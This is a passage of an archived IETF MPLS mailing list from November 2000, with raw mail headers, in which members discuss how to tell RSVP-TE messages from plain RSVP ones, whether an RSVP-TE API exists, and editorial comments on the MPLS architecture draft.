Sauviac" To: Subject: UNSUBSCRIBE Date: Sat, 4 Nov 2000 11:12:19 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <200011031627.LAA00876@cholla.INRS-Telecom.UQuebec.CA> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit From owner-mpls@UU.NET Mon Nov 6 02:06:34 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA14986 for ; Mon, 6 Nov 2000 02:06:34 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoci05260; Mon, 6 Nov 2000 07:04:49 GMT Received: by mail-control.mail.uu.net id QQjoci17281 for mpls-outgoing; Mon, 6 Nov 2000 07:04:28 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjoci17272 for ; Mon, 6 Nov 2000 07:04:18 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoci00758 for ; Mon, 6 Nov 2000 07:04:14 GMT Received: from csa.iisc.ernet.in by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjoci04558 for ; Mon, 6 Nov 2000 07:04:11 GMT Received: from helios.csa.iisc.ernet.in (IDENT:prasanna@helios.csa.iisc.ernet.in [144.16.67.46]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id MAA22106 for ; Mon, 6 Nov 2000 12:31:23 +0530 Received: from localhost (prasanna@localhost) by helios.csa.iisc.ernet.in (8.9.3/8.9.3) with SMTP id MAA08263 for ; Mon, 6 Nov 2000 12:33:11 +0530 X-Authentication-Warning: helios.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Mon, 6 Nov 2000 12:33:10 +0530 (IST) From: Gaitonde Anandprasanna To: mpls@UU.NET Subject: API Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk I wanted to know whether just as there are drafts for RAPI (RSVP API) is thereanything like RSVP-TE API on which u can have an application running. An application which will allow us to send commands like setting up of LSPs etc. Please let me know. Bye Pras _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-\_|; Mon, 6 Nov 2000 02:40:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjock07157; Mon, 6 Nov 2000 07:40:01 GMT Received: by mail-control.mail.uu.net id QQjock19535 for mpls-outgoing; Mon, 6 Nov 2000 07:39:28 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjock19524 for ; Mon, 6 Nov 2000 07:39:19 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjock19914 for ; Mon, 6 Nov 2000 07:38:33 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjock27645 for ; Mon, 6 Nov 2000 07:38:32 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id CAA27031 for mpls@uu.net; Mon, 6 Nov 2000 02:38:32 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjock19491 for ; Mon, 6 Nov 2000 07:37:54 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjock20134 for ; Mon, 6 Nov 2000 07:37:17 GMT Received: from ogma.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ogma.cisco.com [144.254.74.39]) id QQjock26236 for ; Mon, 6 Nov 2000 07:37:16 GMT Received: from munich.cisco.com (munich.cisco.com [144.254.24.45]) by ogma.cisco.com (Postfix) with ESMTP id 54FCE879 for ; Mon, 6 Nov 2000 08:37:16 +0100 (MET) Received: from sfinnend-8kcdt.cisco.com (sabirrin-isdn-home.cisco.com [10.49.192.158]) by munich.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id IAA19572 for ; Mon, 6 Nov 2000 08:37:15 +0100 (MET) Message-Id: <4.3.2.7.2.20001106083243.00d63100@munich.cisco.com> X-Sender: sabirrin@munich.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 06 Nov 2000 08:33:38 +0100 To: From: Salvinder Singh Birring Subject: UNSUBSCRIBE Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk From owner-mpls@UU.NET Mon Nov 6 09:51:20 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA14376 for ; Mon, 6 Nov 2000 09:51:20 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodn17686; Mon, 6 Nov 2000 14:50:22 GMT Received: by mail-control.mail.uu.net id QQjodn06897 for mpls-outgoing; Mon, 6 Nov 2000 14:49:49 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjodn06889 for ; Mon, 6 Nov 2000 14:49:42 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjodn22383 for ; Mon, 6 Nov 2000 14:48:51 GMT Received: from smtprch1.nortel.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtprch1.nortelnetworks.com [192.135.215.14]) id QQjodn15675 for ; Mon, 6 Nov 2000 14:48:51 GMT Received: from zrchb213.us.nortel.com (actually zrchb213) by smtprch1.nortel.com; Mon, 6 Nov 2000 08:48:10 -0600 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Mon, 6 Nov 2000 08:48:06 -0600 Message-ID: <03E3E0690542D211A1490000F80836F4029F98FB@zcard00f.ca.nortel.com> From: "Peter Ashwood-Smith" To: mpls@UU.NET Subject: RE: Qestion Date: Mon, 6 Nov 2000 08:48:03 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04800.90CF52C0" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04800.90CF52C0 Content-Type: text/plain; charset="iso-8859-1" By the presence/absence of RSVP-TE specific TLV's. I believe you have to be able to process vanilla RSVP, RSVP-TE and refresh reduction stuff in a backward compatible fashion. Peter -----Original Message----- From: Gaitonde Anandprasanna [SMTP:prasanna@csa.iisc.ernet.in] Sent: Saturday, November 04, 2000 3:45 AM To: mpls@UU.NET Subject: Qestion I have posted this question many times But ihave not recieved any reply. My qeustion is how does RSVP-TE identify whether the message is RSVP or RSVP-TE ?? Please let me know. I have read the recent draft of RSVP-TE but i could not find any answer to my question. If these things have not been defined by the working group then please let me know. Thanking in advance Pras _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-\_| RE: Qestion

By the presence/absence of RSVP-TE = specific TLV's.  I believe you have to be able to process vanilla = RSVP, RSVP-TE and refresh reduction stuff in a backward compatible = fashion.

Peter

    -----Original = Message-----
    From:   Gaitonde = Anandprasanna [SMTP:prasanna@csa.iisc.ernet.in]
    Sent:   Saturday, November 04, 2000 3:45 AM
    To:     mpls@UU.NET
    Subject:       = Qestion


    I have posted this question many times = But ihave not recieved any reply.

    My qeustion is how does RSVP-TE = identify whether the message is RSVP or
    RSVP-TE ??

    Please let me know. I have read the = recent draft of RSVP-TE but i could
    not find any answer to my = question.

    If these things have not been defined = by the working group then please let
    me know.

    Thanking in advance

    Pras


             &nb= sp;      
             &nb= sp;           = _____________________________       &= nbsp;         
             &nb= sp;         _ |ANANDPRASANNA = GAITONDE     | _
             &nb= sp;        / )|COMP. SCIENCE & = AUTOMATION |( \
             &nb= sp;       / / |D-7,IISc = HOSTEL           = | \ \
             &nb= sp;      / /  |INDIAN INSTITUTE OF = SCIENCE|  \ \
             &nb= sp;    _( (_  = |BANGALORE-560012.         = |  _) )_
             &nb= sp;    (((\ = \>|_/->___________________<-\_|</ /)))
             &nb= sp;    (\\\\ \_/ /LAB Ph.(080)3092906  \ \_/ = ////)
             &nb= sp;     \       = /HOSTEL = Ph.-            = \       / 
             &nb= sp;      \    = _/     = (080)3092452        = \_    /    
             &nb= sp;      /   = /-----------------------------\   = \            = ;     
             &nb= sp;     /  Email = Id-           &nb= sp;           &nb= sp;    \
             &nb= sp;    /      = prasanna@csa.iisc.ernet.in       &nbs= p; \
                 = ---------------------------------------------
             &nb= sp;  -----------------------------------------------

    ---------------------------------------------------------= -----------------------
            =        =20
    *********************************************************= **************** 
    | | | | __ ___   = _____     __ _    _ __ (_) ___ = ___     __| | __ _ _   _
    | |_| |/ _` \ \ / / _ \   / = _` |  | '_ \| |/ __/ _ \   / _` |/ _` | | | |
    |  _  | (_| |\ V /  = __/  | (_| |  | | | | | (_|  __/  | (_| | (_| | |_| = |
    |_| |_|\__,_| \_/ \___|   = \__,_|  |_| |_|_|\___\___|   \__,_|\__,_|\__, |
    *********************************************************= ****************


------_=_NextPart_001_01C04800.90CF52C0-- From owner-mpls@UU.NET Mon Nov 6 10:06:56 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA18825 for ; Mon, 6 Nov 2000 10:06:56 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodo06655; Mon, 6 Nov 2000 15:06:06 GMT Received: by mail-control.mail.uu.net id QQjodo15457 for mpls-outgoing; Mon, 6 Nov 2000 15:05:32 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjodo14925 for ; Mon, 6 Nov 2000 15:05:13 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjodo08199 for ; Mon, 6 Nov 2000 15:04:29 GMT Received: from mailhost.avici.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [208.246.215.9]) id QQjodo26895 for ; Mon, 6 Nov 2000 15:04:28 GMT Received: from avici.com (swdev23.avici.com [10.1.2.229]) by mailhost.avici.com (8.11.0/8.11.0) with ESMTP id eA6F3Td10132; Mon, 6 Nov 2000 10:03:29 -0500 (EST) Message-Id: <200011061503.eA6F3Td10132@mailhost.avici.com> X-Mailer: exmh version 2.1.1 10/15/1999 From: Markus Jork To: Gaitonde Anandprasanna cc: mpls@UU.NET Subject: Re: Qestion In-reply-to: Your message of "Sat, 04 Nov 2000 14:14:50 +0530." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 06 Nov 2000 10:03:28 -0500 Sender: owner-mpls@UU.NET Precedence: bulk Pras, The easiest way to differentiate is to look at the C-Type of the SESSION object. RSVP-TE uses a type of SESSION object different from traditional RSVP. Markus > I have posted this question many times But ihave not recieved any reply. > > My qeustion is how does RSVP-TE identify whether the message is RSVP or > RSVP-TE ?? > > Please let me know. I have read the recent draft of RSVP-TE but i could > not find any answer to my question. > > If these things have not been defined by the working group then please let > me know. > > Thanking in advance > > Pras From owner-mpls@UU.NET Mon Nov 6 10:15:19 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21510 for ; Mon, 6 Nov 2000 10:15:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodo16005; Mon, 6 Nov 2000 15:13:47 GMT Received: by mail-control.mail.uu.net id QQjodo20541 for mpls-outgoing; Mon, 6 Nov 2000 15:13:09 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjodo20499 for ; Mon, 6 Nov 2000 15:12:51 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjodo16564 for ; Mon, 6 Nov 2000 15:12:36 GMT Received: from smtp2.cluster.oleane.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp2.cluster.oleane.net [195.25.12.17]) id QQjodo06543 for ; Mon, 6 Nov 2000 15:12:36 GMT Received: from oleane (dyn-1-1-152.Vin.dialup.oleane.fr [195.25.4.152]) by smtp2.cluster.oleane.net with SMTP id QAA32501 for ; Mon, 6 Nov 2000 16:12:35 +0100 (CET) Message-ID: <00cc01c04804$69501960$8001a8c0@oleane.com> From: "Peter Lewis" To: Subject: IP.Net Date: Mon, 6 Nov 2000 16:15:34 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C9_01C0480C.CAD15DE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00C9_01C0480C.CAD15DE0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable IP.Net=20 The IP private networks 2001 Event: VPNs, security, VoIP, broadband access, SLAs. A call for proposals is online at: http://www.upperside.fr/baipnet.htm ------=_NextPart_000_00C9_01C0480C.CAD15DE0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
IP.Net =
The IP private networks 2001 Event:
VPNs, security, VoIP, broadband = access,=20 SLAs.
A call for proposals is online = at:
http://www.upperside.fr/baip= net.htm
------=_NextPart_000_00C9_01C0480C.CAD15DE0-- From owner-mpls@UU.NET Mon Nov 6 10:28:23 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA24884 for ; Mon, 6 Nov 2000 10:28:23 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodp03190; Mon, 6 Nov 2000 15:27:31 GMT Received: by mail-control.mail.uu.net id QQjodp22248 for mpls-outgoing; Mon, 6 Nov 2000 15:26:47 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjodp22240 for ; Mon, 6 Nov 2000 15:26:38 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjodp09153 for ; Mon, 6 Nov 2000 15:25:56 GMT Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjodp22249 for ; Mon, 6 Nov 2000 15:25:55 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA24607; Mon, 6 Nov 2000 10:25:50 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA27040; Mon, 6 Nov 2000 10:25:52 -0500 (EST) Message-ID: <3A06CDB7.B1D5E831@marconi.com> Date: Mon, 06 Nov 2000 10:26:48 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: Gaitonde Anandprasanna CC: mpls@UU.NET Subject: Re: API References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Gaitonde Anandprasanna wrote: > > I wanted to know whether just as there are drafts for RAPI (RSVP API) > is thereanything like RSVP-TE API on which u can have an application > running. > An application which will allow us to send commands like setting up of > LSPs etc. As far as I know, none of the drafts have even touched upon the concept of running LSPs to the desktop. Everything is router-to-router, where such APIs are meaningless. -- David From owner-mpls@UU.NET Mon Nov 6 10:33:58 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA26191 for ; Mon, 6 Nov 2000 10:33:58 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodq00905; Mon, 6 Nov 2000 15:32:34 GMT Received: by mail-control.mail.uu.net id QQjodq22935 for mpls-outgoing; Mon, 6 Nov 2000 15:31:52 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjodq22916 for ; Mon, 6 Nov 2000 15:31:46 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjodq25024 for ; Mon, 6 Nov 2000 15:30:34 GMT Received: from mail.chiaro.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: us.chiaro.com [63.88.196.33]) id QQjodq03794 for ; Mon, 6 Nov 2000 15:30:34 GMT Received: by mail.chiaro.com with Internet Mail Service (5.5.2650.21) id ; Mon, 6 Nov 2000 09:30:03 -0600 Message-ID: <2383E22BDFF6D311BB8400B0D021A507673E11@mail.chiaro.com> From: Steve Yao To: mpls@UU.NET Subject: Comments on draft-ietf-mpls-arch-07 Date: Mon, 6 Nov 2000 09:30:01 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk 1. Section 3.8, last paragraph: Remove "though" or rephrase the last sentence. 2. Section 3.10 Bullet items d), e), and f) should be changed to 3., 4., and 5. 3. Section 3.14, it states: "In general, Rd can only tell whether it was Ru1 or Ru2 that put the particular label value L at the top of the label stack if the following conditions hold: - Ru1 and Ru2 are the only label distribution peers to which Rd distributed a binding of label value L, and - Ru1 and Ru2 are each directly connected to Rd via a point-to- point interface." The first condition doesn't seem to be correct. Consider the case where Rd distributes a binding of label value L to Ru1, Ru2, and Ru3, then it can still tell if it was Ru1, Ru2, or Ru3 that put the particular lable for a labeled packet as long as it uses different per-interface label spaces for Ru1, Ru2, and Ru3. 4. Section 5.2.3, In the case of <*, RequestNever, *, *, ReleaseOnChange>, it states: "In these MPLS schemes, Rd releases bindings when it isn't using them, but it never asks for them again, even if it later has a need for them. These schemes thus do not ensure that label bindings get properly distributed." "Rd" should be changed to "Ru" - Steve From owner-mpls@UU.NET Mon Nov 6 10:35:59 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA26707 for ; Mon, 6 Nov 2000 10:35:58 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodq03850; Mon, 6 Nov 2000 15:34:53 GMT Received: by mail-control.mail.uu.net id QQjodq23295 for mpls-outgoing; Mon, 6 Nov 2000 15:34:12 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjodq23251 for ; Mon, 6 Nov 2000 15:33:57 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjodq04389 for ; Mon, 6 Nov 2000 15:33:40 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjodq10597 for ; Mon, 6 Nov 2000 15:33:39 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA25235 for mpls@uu.net; Mon, 6 Nov 2000 10:33:38 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjodq22977 for ; Mon, 6 Nov 2000 15:32:05 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjodq00229 for ; Mon, 6 Nov 2000 15:31:58 GMT Received: from smtprch1.nortel.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtprch1.nortelnetworks.com [192.135.215.14]) id QQjodq08807 for ; Mon, 6 Nov 2000 15:31:57 GMT Received: from zcard00m.ca.nortel.com by smtprch1.nortel.com; Mon, 6 Nov 2000 09:30:52 -0600 Received: from zbl6c002.corpeast.baynetworks.com ([132.245.205.52]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id WAVYGNL1; Mon, 6 Nov 2000 10:30:46 -0500 Received: from nortelnetworks.com (dhcp220-148.engeast.baynetworks.com [192.32.220.148]) by zbl6c002.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id VDZZFJ3M; Mon, 6 Nov 2000 10:30:45 -0500 Message-ID: <3A077784.7AD2F911@nortelnetworks.com> Date: Mon, 06 Nov 2000 22:31:17 -0500 X-Sybari-Space: 00000000 00000000 00000000 From: "Dave Wilder" Reply-To: "Dave Wilder" Organization: Nortel Networks X-Mailer: Mozilla 4.5 [en]C-3M;VANGRD (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Shen Gangxiang CC: Gaitonde Anandprasanna , mpls@UU.NET Subject: Re: Qestion References: <9985F17605D2D21192D80008C75DE4BE03950A7E@exchange4.ntu.edu.sg> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi Gaitonde, The ID that you are looking for is in the Session Object. RSVP-TE adds 2 new C-type values to the Session Object; LSP_Tunnel_IPv4 and LSP_Tunnel_IPv6 which RSVP didn't have of course. So how does IP even know to look into the RSVP header to obtain this info? The optional IP router alert option is set in the IP header to inform IP that this is a "special" packet and that the router that receives this packet must look beyond the IP header. Also, if a router supports RSVP-TE, it doesn't necessarily support all of RSVP; for example, multicasting. This is my take on it, but there are war wiser people than I that may have a different view. Dave Shen Gangxiang wrote: > Hi, GA, > > I don't think it is necessary to explicitly point out whether the message is > RSVP or RSVP-TE. Since RSVP-TE is an extension of RSVP, if a LSR can support > RSVP-TE, it can definitely support RSVP. In fact, during dealing with those > messages, a LSR can use the information whether there are some extended > objects such as Label Request, ER, Record Route in a message to implicitly > identify whether it is a RSVP-TE message. > > If there is something missed, please kindly point out. Thanks! > > Gangxiang > > -----Original Message----- > From: Gaitonde Anandprasanna [mailto:prasanna@csa.iisc.ernet.in] > Sent: Saturday, November 04, 2000 4:45 PM > To: mpls@UU.NET > Subject: Qestion > > I have posted this question many times But ihave not recieved any reply. > > My qeustion is how does RSVP-TE identify whether the message is RSVP or > RSVP-TE ?? > > Please let me know. I have read the recent draft of RSVP-TE but i could > not find any answer to my question. > > If these things have not been defined by the working group then please let > me know. > > Thanking in advance > > Pras > > > _____________________________ > _ |ANANDPRASANNA GAITONDE | _ > / )|COMP. SCIENCE & AUTOMATION |( \ > / / |D-7,IISc HOSTEL | \ \ > / / |INDIAN INSTITUTE OF SCIENCE| \ \ > _( (_ |BANGALORE-560012. | _) )_ > (((\ \>|_/->___________________<-\_| (\\\\ \_/ /LAB Ph.(080)3092906 \ \_/ ////) > \ /HOSTEL Ph.- \ / > \ _/ (080)3092452 \_ / > / /-----------------------------\ \ > / Email Id- \ > / prasanna@csa.iisc.ernet.in \ > --------------------------------------------- > ----------------------------------------------- > > ---------------------------------------------------------------------------- > ---- > > ************************************************************************* > | | | | __ ___ _____ __ _ _ __ (_) ___ ___ __| | __ _ _ _ > | |_| |/ _` \ \ / / _ \ / _` | | '_ \| |/ __/ _ \ / _` |/ _` | | | | > | _ | (_| |\ V / __/ | (_| | | | | | | (_| __/ | (_| | (_| | |_| | > |_| |_|\__,_| \_/ \___| \__,_| |_| |_|_|\___\___| \__,_|\__,_|\__, | > ************************************************************************* From owner-mpls@UU.NET Mon Nov 6 10:40:31 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA27778 for ; Mon, 6 Nov 2000 10:40:31 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjodq14687; Mon, 6 Nov 2000 15:36:57 GMT Received: by mail-control.mail.uu.net id QQjodq23527 for mpls-outgoing; Mon, 6 Nov 2000 15:36:18 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjodq23504 for ; Mon, 6 Nov 2000 15:36:12 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjodq00259 for ; Mon, 6 Nov 2000 15:35:09 GMT Received: from csa.iisc.ernet.in by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjodq12368 for ; Mon, 6 Nov 2000 15:35:06 GMT Received: from helios.csa.iisc.ernet.in (IDENT:prasanna@helios.csa.iisc.ernet.in [144.16.67.46]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id VAA11222; Mon, 6 Nov 2000 21:02:51 +0530 Received: from localhost (prasanna@localhost) by helios.csa.iisc.ernet.in (8.9.3/8.9.3) with SMTP id VAA12730; Mon, 6 Nov 2000 21:04:59 +0530 X-Authentication-Warning: helios.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Mon, 6 Nov 2000 21:04:59 +0530 (IST) From: Gaitonde Anandprasanna To: David Charlap cc: mpls@UU.NET Subject: Re: API In-Reply-To: <3A06CDB7.B1D5E831@marconi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Yes sir, thats right. Setting up of LSP is from router to router only. But lets say that a person is operating on a ingress router, and he wants to setup an LSP to an egress router. Shouldnt there be a command line interface for him to specify a command to setup an LSP. (This would mean we have to think of enhancing the API of RSVP. Please let me know Thanx in advance Pras _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-\_| Gaitonde Anandprasanna wrote: > > > > I wanted to know whether just as there are drafts for RAPI (RSVP API) > > is thereanything like RSVP-TE API on which u can have an application > > running. > > An application which will allow us to send commands like setting up of > > LSPs etc. > > As far as I know, none of the drafts have even touched upon the concept > of running LSPs to the desktop. Everything is router-to-router, where > such APIs are meaningless. > > -- David > From owner-mpls@UU.NET Mon Nov 6 10:44:39 2000 Received: from cmr1.ash.ops.us.uu.net 